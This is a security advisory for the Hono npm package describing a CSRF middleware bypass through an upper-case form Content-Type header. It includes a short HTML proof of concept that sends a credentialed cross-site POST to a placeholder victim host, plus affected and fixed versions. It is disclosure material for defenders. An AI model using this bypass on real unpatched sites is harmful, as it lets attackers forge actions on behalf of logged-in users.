[NPM:GHSA-RPFR-3M35-5VX5] Hono CSRF middleware can be bypassed using crafted Content-Type header
Summary
Hono CSRF middleware can be bypassed using crafted Content-Type header.
Details
MIME types are case insensitive, but isRequestedByFormElementRe only matches lower-case.
As a result, attacker can bypass csrf middleware using upper-case form-like MIME type, such as "Application/x-www-form-urlencoded".
PoC
html
<html>
<head>
<title>CSRF Test</title>
<script defer>
document.addEventListener("DOMContentLoaded", () => {
document.getElementById("btn").addEventListener("click", async () => {
const res = await fetch("http://victim.example.com/test", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "Application/x-www-form-urlencoded",
},
});
});
});
</script>
</head>
<body>
<h1>CSRF Test</h1>
<button id="btn">Click me!</button>
</body>
</html>
Impact
Bypass csrf protection implemented with hono csrf middleware.
Discussion
I'm not sure that omitting csrf checks for Simple POST request is a good idea.
CSRF prevention and CORS are different concepts even though CORS can prevent CSRF in some cases.
| Package | Affected Version |
|---|---|
 pkg:npm/hono
|
< 4.5.8 |
| Package | Fixed Version |
|---|---|
|
pkg:npm/hono
|
= 4.5.8 |
- ID
- NPM:GHSA-RPFR-3M35-5VX5
- Severity
- moderate
- URL
- https://github.com/advisories/GHSA-rpfr-3m35-5vx5
- Published
-
2024-08-22T16:41:08
(3 weeks ago) - Modified
-
2024-08-22T16:41:09
(3 weeks ago) - Rights
- NPM Security Team
| # CVE | Description | CVSS | EPSS | EPSS Trend (30 days) | Affected Products | Weaknesses | Security Advisories | Exploits | PoC | Pubblication Date | Modification Date |
|---|---|---|---|---|---|---|---|---|---|---|---|
| # CVE | Description | CVSS | EPSS | EPSS Trend (30 days) | Affected Products | Weaknesses | Security Advisories | PoC | Pubblication Date | Modification Date |